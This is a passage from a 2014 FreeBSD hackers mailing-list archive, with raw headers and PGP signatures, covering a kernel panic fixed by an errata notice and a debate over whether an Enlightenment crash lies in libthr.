0xffffffff808af5d0 in kern_reboot (howto=260) at /usr/src/sys/kern/kern_shutdown.c:446 #2 0xffffffff808af994 in panic (fmt=) at /usr/src/sys/kern/kern_shutdown.c:747 #3 0xffffffff80c873e7 in pmap_remove_pages (pmap=) at /usr/src/sys/amd64/amd64/pmap.c:256 #4 0xffffffff80b10570 in vmspace_exit (td=0xfffff803dd2c7490) at /usr/src/sys/vm/vm_map.c:392 #5 0xffffffff8087c74f in exit1 (td=0xfffff803dd2c7490, rv=) at atomic.h:161 #6 0xffffffff8087c0ee in sysctl_kern_ps_strings (oidp=, arg1=, arg2=, req=) at /usr/src/sys/kern/kern_exec.c:150 #7 0xffffffff80c8f037 in amd64_syscall (td=0xfffff803dd2c7490, traced=0) at subr_syscall.c:133 #8 0xffffffff80c7572b in Xfast_syscall () at /usr/src/sys/amd64/amd64/exception.S:387 #9 0x0000000801b7e31a in ?? () Previous frame inner to this frame (corrupt stack?) Current language: auto; currently minimal (kgdb) backtrace #0 0xffffffff808af7c5 in doadump (textdump=0) at /usr/src/sys/kern/kern_shutdown.c:253 #1 0xffffffff808af5d0 in kern_reboot (howto=260) at /usr/src/sys/kern/kern_shutdown.c:446 #2 0xffffffff808af994 in panic (fmt=) at /usr/src/sys/kern/kern_shutdown.c:747 #3 0xffffffff80c873e7 in pmap_remove_pages (pmap=) at /usr/src/sys/amd64/amd64/pmap.c:256 #4 0xffffffff80b10570 in vmspace_exit (td=0xfffff803dd2c7490) at /usr/src/sys/vm/vm_map.c:392 #5 0xffffffff8087c74f in exit1 (td=0xfffff803dd2c7490, rv=) at atomic.h:161 #6 0xffffffff8087c0ee in sysctl_kern_ps_strings (oidp=, arg1=, arg2=, req=) at /usr/src/sys/kern/kern_exec.c:150 #7 0xffffffff80c8f037 in amd64_syscall (td=0xfffff803dd2c7490, traced=0) at subr_syscall.c:133 #8 0xffffffff80c7572b in Xfast_syscall () at /usr/src/sys/amd64/amd64/exception.S:387 #9 0x0000000801b7e31a in ?? () Thanks in advance for any pointers or assistance! - -- Ryan Stark -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBCgAGBQJTrcWMAAoJEOuHL951PlCys8QP/0lxfh7cO/MQ351cAWdH+GiV 0TGeWJF45KXgm03WXLK02y2R1unFl18geG+XC+QPnlrLwrf5qvgYx63HHdutsn2l FRWguItilmiY5mSBobQs1S6YZRZMW6pQlphkEqzS3MlRpLOP8aBgCnon/8NA3BJg w9N2hSgQs6efxW8dzis/UKVAzVl/1ZcLYuxn6HxjWC8oe6Kw4aKGw7GJypv70p5Y B2aW0JR7hA9a72YCiJActbDzRC9qMe8ZOBzHCl5pQKD5a120LWJqto0kagYM8DRs JD+jSqBEdKpgCOiTH7NbAi4i+pWEQvqB1XcUQvAhSfVuS4lZn9XWrlSX3PIt5IO1 Jx3DdAWv2kWuNymdN+UHQZ/0eYWJaXF9+GtBUW6cQudYORZWZfw7qs5RGcwWh2pN +iUzJb2FJhvmnxfjUDQlUig53IB6z1/jMKD2WiO3APbBf+F6q3bPqO0Asp1dokJH oeLjKWcK8xcnLffFINkJVjM8pP+Pf/sMHQKrkCwDk/2SKzMMgj/0NSNcsuM1do7w ZZbf7LQ1kgsDhEyCnrZWl2a5b5wcYO/OazUyH+9+SOOfaARJpQXxXFl58mAOFZDn 2w4yeMmXllG4ReceUEQsvh/4CRTY4FHo1sLA8IJnRG3KQAmKAN1XyUINOS4KlYLv XdLPtgB4BS1WsleW2kf6 =xZzP -----END PGP SIGNATURE----- From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 27 21:09:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 34484BA8 for ; Fri, 27 Jun 2014 21:09:21 +0000 (UTC) Received: from mx1.scaleengine.net (beauharnois2.bhs1.scaleengine.net [142.4.218.15]) by mx1.freebsd.org (Postfix) with ESMTP id 0CAC42D42 for ; Fri, 27 Jun 2014 21:09:20 +0000 (UTC) Received: from [192.168.1.2] (senat1-01.HML3.ScaleEngine.net [209.51.186.5]) (Authenticated sender: allanjude.freebsd@scaleengine.com) by mx1.scaleengine.net (Postfix) with ESMTPSA id 6772818645 for ; Fri, 27 Jun 2014 21:09:18 +0000 (UTC) Message-ID: <53ADDD99.5080001@freebsd.org> Date: Fri, 27 Jun 2014 17:09:45 -0400 From: Allan Jude User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: request for assistance with kernel panic in FreeBSD-10.0-p6 References: <53ADC58C.901@rackspace.com> In-Reply-To: <53ADC58C.901@rackspace.com> X-Enigmail-Version: 1.6 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="w2cCMqPMhtqduHHG0j4Ok0shPq2INfAm7" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 27 Jun 2014 21:09:21 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --w2cCMqPMhtqduHHG0j4Ok0shPq2INfAm7 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 2014-06-27 15:27, Ryan Stark wrote: > Hello Hackers, >=20 > Please let me know if this is not the appropriate audience for these > questions. First time posting to this list. =3D) >=20 > I have been having panic issues with a FreeBSD desktop system since > installing 10.0 on it in January. I have run memtest on the system and > it passes a weekend of testing fine. FreeBSD 9.x never had any issues > with this hardware. I only seem to get the panics when upgrading ports > on 10.0; libreoffice seems to trigger to panic consistently, as will > openjdk6. Otherwise, the system is stable and will run fine for months > on end without reboot or panic. I have never had to troubleshoot kernel= > panics in FreeBSD, and would appreciate any assistance or pointers in > helping me narrow done what is causing these panics and if there is a > way to resolve them. >=20 >=20 > /var/log/messages right before reboot: >=20 > Jun 27 10:05:17 rstark savecore: reboot after panic: bad pte va > a01b59000 pte f000ff53f000fe6e > Jun 27 10:05:18 rstark savecore: writing core to /var/crash/vmcore.3 >=20 >=20 > uname -a >=20 > FreeBSD rstark.munix.us 10.0-RELEASE-p6 FreeBSD 10.0-RELEASE-p6 #0 > r260997M: Fri Jun 27 11:24:54 CDT 2014 > root@rstark.munix.us:/usr/obj/usr/src/sys/GENERIC amd64 >=20 >=20 > root@rstark /usr/obj/usr/src/sys/GENERIC]# kgdb kernel.debug > /var/crash/vmcore.3 > GNU gdb 6.1.1 [FreeBSD] > Copyright 2004 Free Software Foundation, Inc. > GDB is free software, covered by the GNU General Public License, and yo= u are > welcome to change it and/or distribute copies of it under certain > conditions. > Type "show copying" to see the conditions. > There is absolutely no warranty for GDB. Type "show warranty" for deta= ils. > This GDB was configured as "amd64-marcel-freebsd"... >=20 > Unread portion of the kernel message buffer: > panic: bad pte va a01b59000 pte f000ff53f000fe6e > cpuid =3D 3 > KDB: stack backtrace: > #0 0xffffffff808e7e70 at kdb_backtrace+0x60 > #1 0xffffffff808af955 at panic+0x155 > #2 0xffffffff80c873e7 at pmap_remove_pages+0x677 > #3 0xffffffff80b10570 at vmspace_exit+0xa0 > #4 0xffffffff8087c74f at exit1+0x65f > #5 0xffffffff8087c0ee at sys_sys_exit+0xe > #6 0xffffffff80c8f037 at amd64_syscall+0x357 > #7 0xffffffff80c7572b at Xfast_syscall+0xfb > Uptime: 18h46m15s > Dumping 3766 out of 16282 MB:..1% (CTRL-C to abort) (CTRL-C to abort) > (CTRL-C to abort) (CTRL-C to abort) > ..11%..21%..31%..41%..51%..61%..71%..81%..91% >=20 > Reading symbols from /boot/kernel/fdescfs.ko.symbols...done. > Loaded symbols for /boot/kernel/fdescfs.ko.symbols > Reading symbols from /boot/kernel/linprocfs.ko.symbols...done. > Loaded symbols for /boot/kernel/linprocfs.ko.symbols > Reading symbols from /boot/kernel/linux.ko.symbols...done. > Loaded symbols for /boot/kernel/linux.ko.symbols > Reading symbols from /boot/kernel/linsysfs.ko.symbols...done. > Loaded symbols for /boot/kernel/linsysfs.ko.symbols > Reading symbols from /boot/kernel/zfs.ko.symbols...done. > Loaded symbols for /boot/kernel/zfs.ko.symbols > Reading symbols from /boot/kernel/opensolaris.ko.symbols...done. > Loaded symbols for /boot/kernel/opensolaris.ko.symbols > Reading symbols from /boot/kernel/geom_eli.ko.symbols...done. > Loaded symbols for /boot/kernel/geom_eli.ko.symbols > Reading symbols from /boot/kernel/crypto.ko.symbols...done. > Loaded symbols for /boot/kernel/crypto.ko.symbols > Reading symbols from /boot/kernel/aesni.ko.symbols...done. > Loaded symbols for /boot/kernel/aesni.ko.symbols > Reading symbols from /boot/modules/nvidia.ko...done. > Loaded symbols for /boot/modules/nvidia.ko > Reading symbols from /boot/kernel/sem.ko.symbols...done. > Loaded symbols for /boot/kernel/sem.ko.symbols > Reading symbols from /boot/kernel/pty.ko.symbols...done. > Loaded symbols for /boot/kernel/pty.ko.symbols > Reading symbols from /boot/kernel/ums.ko.symbols...done. > Loaded symbols for /boot/kernel/ums.ko.symbols > Reading symbols from /boot/kernel/uhid.ko.symbols...done. > Loaded symbols for /boot/kernel/uhid.ko.symbols > Reading symbols from /boot/kernel/pflog.ko.symbols...done. > Loaded symbols for /boot/kernel/pflog.ko.symbols > Reading symbols from /boot/kernel/pf.ko.symbols...done. > Loaded symbols for /boot/kernel/pf.ko.symbols > #0 0xffffffff808af7c5 in doadump (textdump=3D0) at > /usr/src/sys/kern/kern_shutdown.c:253 > 253 if (dumping) > (kgdb) where > #0 0xffffffff808af7c5 in doadump (textdump=3D0) at > /usr/src/sys/kern/kern_shutdown.c:253 > #1 0xffffffff808af5d0 in kern_reboot (howto=3D260) at > /usr/src/sys/kern/kern_shutdown.c:446 > #2 0xffffffff808af994 in panic (fmt=3D) at > /usr/src/sys/kern/kern_shutdown.c:747 > #3 0xffffffff80c873e7 in pmap_remove_pages (pmap=3D) > at /usr/src/sys/amd64/amd64/pmap.c:256 > #4 0xffffffff80b10570 in vmspace_exit (td=3D0xfffff803dd2c7490) at > /usr/src/sys/vm/vm_map.c:392 > #5 0xffffffff8087c74f in exit1 (td=3D0xfffff803dd2c7490, rv=3D optimized out>) at atomic.h:161 > #6 0xffffffff8087c0ee in sysctl_kern_ps_strings (oidp=3D out>, arg1=3D, arg2=3D, req=3D= optimized out>) at /usr/src/sys/kern/kern_exec.c:150 > #7 0xffffffff80c8f037 in amd64_syscall (td=3D0xfffff803dd2c7490, > traced=3D0) at subr_syscall.c:133 > #8 0xffffffff80c7572b in Xfast_syscall () at > /usr/src/sys/amd64/amd64/exception.S:387 > #9 0x0000000801b7e31a in ?? () > Previous frame inner to this frame (corrupt stack?) > Current language: auto; currently minimal > (kgdb) backtrace > #0 0xffffffff808af7c5 in doadump (textdump=3D0) at > /usr/src/sys/kern/kern_shutdown.c:253 > #1 0xffffffff808af5d0 in kern_reboot (howto=3D260) at > /usr/src/sys/kern/kern_shutdown.c:446 > #2 0xffffffff808af994 in panic (fmt=3D) at > /usr/src/sys/kern/kern_shutdown.c:747 > #3 0xffffffff80c873e7 in pmap_remove_pages (pmap=3D) > at /usr/src/sys/amd64/amd64/pmap.c:256 > #4 0xffffffff80b10570 in vmspace_exit (td=3D0xfffff803dd2c7490) at > /usr/src/sys/vm/vm_map.c:392 > #5 0xffffffff8087c74f in exit1 (td=3D0xfffff803dd2c7490, rv=3D optimized out>) at atomic.h:161 > #6 0xffffffff8087c0ee in sysctl_kern_ps_strings (oidp=3D out>, arg1=3D, arg2=3D, req=3D= optimized out>) at /usr/src/sys/kern/kern_exec.c:150 > #7 0xffffffff80c8f037 in amd64_syscall (td=3D0xfffff803dd2c7490, > traced=3D0) at subr_syscall.c:133 > #8 0xffffffff80c7572b in Xfast_syscall () at > /usr/src/sys/amd64/amd64/exception.S:387 > #9 0x0000000801b7e31a in ?? () >=20 >=20 >=20 > Thanks in advance for any pointers or assistance! > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.o= rg" >=20 There was an ERRATA notice about pmap specifically with java (libreoffice uses java too) released just the other day. Read the notice and follow the instructions and it should solve your problem: http://www.freebsd.org/security/advisories/FreeBSD-EN-14:07.pmap.asc --=20 Allan Jude --w2cCMqPMhtqduHHG0j4Ok0shPq2INfAm7 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (MingW32) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTrd2cAAoJEJrBFpNRJZKfqUIP/jXSAyGD6QLJj9gMHy+0xE0g Yt9d5Q+IZ0fD2o16JCYgb17DazkuwoT6HgKEebfDwRHJo/KwdU3kmkoUSikkBNeD DJNnaIauWQwaoIPj9tUPPj3dmYg7Xg37ICihrAOCrfJpUw8sWlFCw8o/2msz/Lu1 9CU0Q74xishFCUlveQ1E+YIcwGVsvrUPoWowo/ZOfkx78jvXrXW0+gaGDqf8zBuI CVCN/1ffqtIJOI6KRD0QDkoI6QGVOnwTlEf7JJEVXBUhVcEmdLJc+v0I3af8wqlQ xhllMJiNJqQiGT9MejRQwtIOTy06VbdlAUaPcfnP4a9vbjMHLQWfUqj3nt9qrY6M Te04Xgdn0DESm2a+43QPDfE+VEzhc0ddiTfYo3HUoDojAEAAdrmOLC5cZ8LI8elx T5oC/nw9YiEqP7Wk1JY70QwegPsQ19RwgGFY6Tq7rdgGtKMw7QLnUquvsKSerabD JYhbxr4/pXkc635rahgAEpYR/kryvJ9CSFGmduQAAYEkjVuUE8Xiy+Duelh3Cqno GYrLr5NRdKm3bd4t7me+y6YZSoz1zO0GTPhWTf5stOLoPkWdDrmsfDFs2Pd3VETN iUipxAZ9QyUgVbcbEO5lA8ZuMtQ8qoI92A5APbDb1pAymc8lVWERl7KReleuOBaV sfAY0VBaWaf8ZHHP+3qc =8mFf -----END PGP SIGNATURE----- --w2cCMqPMhtqduHHG0j4Ok0shPq2INfAm7-- From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 27 22:00:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0C08899D for ; Fri, 27 Jun 2014 22:00:10 +0000 (UTC) Received: from mx2.ord1.rackspace.com (mx2.ord1.rackspace.com [173.203.4.136]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (Client CN "IronPort Appliance Demo Certificate", Issuer "IronPort Appliance Demo Certificate" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id A2A1F2182 for ; Fri, 27 Jun 2014 22:00:09 +0000 (UTC) X-SBRS: None X-SenderGroup: RELAYLIST-US X-MailFlowPolicy: $RELAYED-US X-IronPort-AV: E=McAfee;i="5600,1067,7471"; a="323339442" X-IronPort-AV: E=Sophos;i="5.01,489,1400043600"; d="scan'208";a="323339442" Received: from ord1exh02.rackspace.corp ([10.12.120.26]) by mx2.ord1.rackspace.com with ESMTP/TLS/AES128-SHA; 27 Jun 2014 17:00:01 -0500 Received: from rstark.munix.us (10.1.69.56) by smtpout.rackspace.com (10.12.120.26) with Microsoft SMTP Server (TLS) id 14.3.123.3; Fri, 27 Jun 2014 16:59:49 -0500 Message-ID: <53ADE88B.4060308@rackspace.com> Date: Fri, 27 Jun 2014 16:56:27 -0500 From: Ryan Stark User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Subject: Re: request for assistance with kernel panic in FreeBSD-10.0-p6 References: <53ADC58C.901@rackspace.com> <53ADDD99.5080001@freebsd.org> In-Reply-To: <53ADDD99.5080001@freebsd.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Originating-IP: [10.1.69.56] X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 27 Jun 2014 22:00:10 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 On 06/27/14 16:09, Allan Jude wrote: > > There was an ERRATA notice about pmap specifically with java > (libreoffice uses java too) released just the other day. > > Read the notice and follow the instructions and it should solve your > problem: > http://www.freebsd.org/security/advisories/FreeBSD-EN-14:07.pmap.asc > Thanks for the pointer Allan! It looks like today was a good day to dig into the issue and ask for help; I had to install a new kernel (p6) to run the debugger; now openjdk builds/upgrades without panic. Issue resolved. - -- Ryan Stark -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBCgAGBQJTreiLAAoJEOuHL951PlCyEzsP/i14WRvhc9ZPhw7kIFrdSN4K 3M9IBoX+8bXyGapKW2wfCeM2zQn80ZKWJ7rqSnqurWC4KeohGPo/2Et3lK7Mrwxl tN3lo/D+hfiVLLOPk+7aKoK2sCyd7Cn+F86udz7AFdI/zDvlz8Owfq6UZbwWEYhS ZTRR0NELNc69yEYVFhsODW9EGGckijdn/q8UDpyWwjUDoM6ppUTlcclYugnjgh7o WVi+epUxDiAbmbhVbTMY5r/lUBCv4ZhmNTJdxcAPH4uU6BbXHnI3Kse6M9np96mT bcSn1PfmSq10XP2vJbpHbyeMlIJbGdJ/uhALQVrhL3mra6EFTy/G6Heih1JfB2Jz FNpKu0wmXDsDKOLUIuBcSo6cYbtI7vpn570hNwbIRZBOo5h4pswEDgDIKu87+ngS xNX+bHTo91safdG+M05JVhtCs4XIMz0dSRBhog0m/gV3oKx+BU9LXgLHfqT6+pbj h/Y6FcsvDDewr24e7XFcQhgzUlCfLIZ3VbwOcqmw+o3/BDDpR887etYiSA3XOKh9 +/GIFZM6AlTi8YwZq32b8xpj+u5mgWGfYkiOf+UOUmLcDdh6qO00wk7wXw3G49f+ D0+bgi5Rwy0KnOzJABqq50ywuFaiizmAgeANW4WLYRbpPrzqCjfkx4iKQM8m3brF mkp7McfWPExuccIi+cuV =Lj0H -----END PGP SIGNATURE----- From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 28 01:59:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C9E887B6 for ; Sat, 28 Jun 2014 01:59:04 +0000 (UTC) Received: from mo69.mail-out.ovh.net (10.mo69.mail-out.ovh.net [46.105.73.241]) by mx1.freebsd.org (Postfix) with ESMTP id 897D4242A for ; Sat, 28 Jun 2014 01:59:03 +0000 (UTC) Received: from mail417.ha.ovh.net (gw6.ovh.net [213.251.189.206]) by mo69.mail-out.ovh.net (Postfix) with SMTP id 43321FF9D0D for ; Sat, 28 Jun 2014 00:21:03 +0200 (CEST) Received: from b0.ovh.net (HELO queueout) (213.186.33.50) by b0.ovh.net with SMTP; 28 Jun 2014 00:20:36 +0200 Received: from user-164-127-95-230.play-internet.pl (HELO starpad.nine) (grzegorz@blach.pl@164.127.95.230) by ns0.ovh.net with SMTP; 28 Jun 2014 00:20:34 +0200 Message-ID: <53ADEE4C.2080804@blach.pl> Date: Sat, 28 Jun 2014 00:21:00 +0200 From: Grzegorz Blach User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Konstantin Belousov Subject: Re: Crash probably in libthr References: <53A95016.3090901@blach.pl> <20140624205420.GZ93733@kib.kiev.ua> In-Reply-To: <20140624205420.GZ93733@kib.kiev.ua> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Ovh-Tracer-Id: 17163781131439136448 X-Ovh-Remote: 164.127.95.230 (user-164-127-95-230.play-internet.pl) X-Ovh-Local: 213.186.33.20 (ns0.ovh.net) X-OVH-SPAMSTATE: OK X-OVH-SPAMSCORE: 0 X-OVH-SPAMCAUSE: gggruggvucftvghtrhhoucdtuddrfeejfedrtdejucetufdoteggodetrfcurfhrohhfihhlvgemucfqggfjnecuuegrihhlohhuthemuceftddtnecu X-Spam-Check: DONE|U 0.5/N X-VR-SPAMSTATE: OK X-VR-SPAMSCORE: 0 X-VR-SPAMCAUSE: gggruggvucftvghtrhhoucdtuddrfeejfedrtdejucetufdoteggodetrfcurfhrohhfihhlvgemucfqggfjnecuuegrihhlohhuthemuceftddtnecu X-Mailman-Approved-At: Sat, 28 Jun 2014 03:04:54 +0000 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 28 Jun 2014 01:59:04 -0000 On 06/24/14 22:54, Konstantin Belousov wrote: > On Tue, Jun 24, 2014 at 12:16:54PM +0200, Grzegorz Blach wrote: >> On https://phab.enlightenment.org/T1330 I reported a crash in >> Enlightenment. After analyzing backtraces from valgrind and gdb we think >> this might be a bug in libthr. > And how did you come to this conclusion ? > >> Backtrace from valgrind: >> https://phab.enlightenment.org/file/data/wlcvu7kmb5blxmgtnk2p/PHID-FILE-dimurhxlz4tvytoxnfup/valgrind2.log >> Backtrace from gdb: >> https://phab.enlightenment.org/file/data/zvbelqzjt4h3ppates6a/PHID-FILE-dsnaw3golsozpzlb7uqe/gdb2.log >> >> Have any one known what >> /usr/src/lib/libthr/arch/amd64/amd64/_umtx_op_err.S:37 does? > The gdb backtrace you posted reports that the SIGSEGV occured in the > thread with lwp id 100363. According to the same log, innermost > frame for the thread is in _op_blend_p_dp_mmx(), which is line 11 > in the file src/lib/evas/common/./evas_op_blend/op_blend_pixel_i386.c. > > umtx_op is the syscall which typically parks thread in the kernel while > waiting for unblock. It appeared in the log because your process is > multithreaded and that other thread slept waiting for an event. Backtrace from valgrind is completely different than backtrace from gdb. How do you think that backtrace is more appropriate? Also I posted your reply on https://phab.enlightenment.org/T1330 this is an answer: "As I stated before the gdb trace is at least messed up, especially as the caller to the _op_blend_p_dp_mmx report a lot of impossible information (all the parameter that int are marked or ). I fail to see how we could believe that nothing is messed up at that point and that gdb report the problem at the right time." From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 28 11:07:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 92985DEF for ; Sat, 28 Jun 2014 11:07:10 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 325E52CFC for ; Sat, 28 Jun 2014 11:07:10 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s5SB4Y5R009723 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 28 Jun 2014 14:04:34 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s5SB4Y5R009723 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.9/Submit) id s5SB4YMP009722; Sat, 28 Jun 2014 14:04:34 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sat, 28 Jun 2014 14:04:34 +0300 From: Konstantin Belousov To: Grzegorz Blach Subject: Re: Crash probably in libthr Message-ID: <20140628110434.GB93733@kib.kiev.ua> References: <53A95016.3090901@blach.pl> <20140624205420.GZ93733@kib.kiev.ua> <53ADEE4C.2080804@blach.pl> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="klLku2wdS+WFztDq" Content-Disposition: inline In-Reply-To: <53ADEE4C.2080804@blach.pl> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 28 Jun 2014 11:07:10 -0000 --klLku2wdS+WFztDq Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Jun 28, 2014 at 12:21:00AM +0200, Grzegorz Blach wrote: > On 06/24/14 22:54, Konstantin Belousov wrote: > > On Tue, Jun 24, 2014 at 12:16:54PM +0200, Grzegorz Blach wrote: > >> On https://phab.enlightenment.org/T1330 I reported a crash in > >> Enlightenment. After analyzing backtraces from valgrind and gdb we thi= nk > >> this might be a bug in libthr. > > And how did you come to this conclusion ? > > > >> Backtrace from valgrind: > >> https://phab.enlightenment.org/file/data/wlcvu7kmb5blxmgtnk2p/PHID-FIL= E-dimurhxlz4tvytoxnfup/valgrind2.log > >> Backtrace from gdb: > >> https://phab.enlightenment.org/file/data/zvbelqzjt4h3ppates6a/PHID-FIL= E-dsnaw3golsozpzlb7uqe/gdb2.log > >> > >> Have any one known what > >> /usr/src/lib/libthr/arch/amd64/amd64/_umtx_op_err.S:37 does? > > The gdb backtrace you posted reports that the SIGSEGV occured in the > > thread with lwp id 100363. According to the same log, innermost > > frame for the thread is in _op_blend_p_dp_mmx(), which is line 11 > > in the file src/lib/evas/common/./evas_op_blend/op_blend_pixel_i386.c. > > > > umtx_op is the syscall which typically parks thread in the kernel while > > waiting for unblock. It appeared in the log because your process is > > multithreaded and that other thread slept waiting for an event. >=20 > Backtrace from valgrind is completely different than backtrace from gdb. > How do you think that backtrace is more appropriate? Because gdb backtrace looks sane, for me. >=20 > Also I posted your reply on https://phab.enlightenment.org/T1330 this is > an answer: >=20 > "As I stated before the gdb trace is at least messed up, especially as > the caller to the _op_blend_p_dp_mmx report a lot of impossible > information (all the parameter that int are marked variable: Cannot access memory at address 0x0> or ). I > fail to see how we could believe that nothing is messed up at that point > and that gdb report the problem at the right time." It is not messed up. Old gdb from the base system is unable to interpret some dwarf constructs which are needed to access the arguments values, which does not invalidate the backtrace itself. I prefer to avoid commenting on someone beliefs. --klLku2wdS+WFztDq Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTrqFBAAoJEJDCuSvBvK1BLc0P/R1t1sYqMGHZ1BTx6K3qHeiM ILXujIsjAOTKe8OPAFEST5AoSrzM/LjT8Kh9OVFZQIqF9Qy4MbUuHXMkRKaRIhKa seuJ8JZL3wW9PocR+qWwqqbUP8+hxJ4JEGcq0hyrUcdeZMlhTXoqrfMAydb6p4I7 BMW49uTKzHRVyVgwmKR7/ViPwanXgWQYb1iXY/repGC5gnaLzydTHp806NIPshoV RjCBVG/3bi3hKldSXEgPsNab0gJT/VSb7fla2FqfgSkn0p8cO1fJZ94vCS5Jme72 qCOZoePEt2pxlsUtjg2JumW2BaKKVJcZ7pmL1Lm4/p6VDs0/73sejDS8CFTFwW1/ YW+6tYo+Xo0f/sBWzcUVFEo7gchmR4DfIMqNqGt1ADtM33E9c/t3RrrW6zwjxGhw fIqAJbYnP2mfgZH2h/4YTACa6WEQrTtGSVli/xOdHVASQ74/FZjf98/7WU7Yeu99 /rC9i6P/Vii34HQ3nQ86QxmjePzNbvk5xr9sO4yevEsvFJGftnqX2KB2LwyJLBNQ 3/peJkPx/rSgfb1zBCEsF8q19mAjOaPP6KnnbdT28xohdwi8dH9ADDeMd9hAtndg sz0qx7K6IkDhYUEe6do9L5+0aI6pZjZlTa8bL/SPXmX11CVNewYIHxm1MVXbTBng XCIf075Yxt2awB8Vi1Dw =U3a5 -----END PGP SIGNATURE----- --klLku2wdS+WFztDq-- From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 28 15:22:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9294F30A; Sat, 28 Jun 2014 15:22:14 +0000 (UTC) Received: from mail-qc0-x244.google.com (mail-qc0-x244.google.com [IPv6:2607:f8b0:400d:c01::244]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 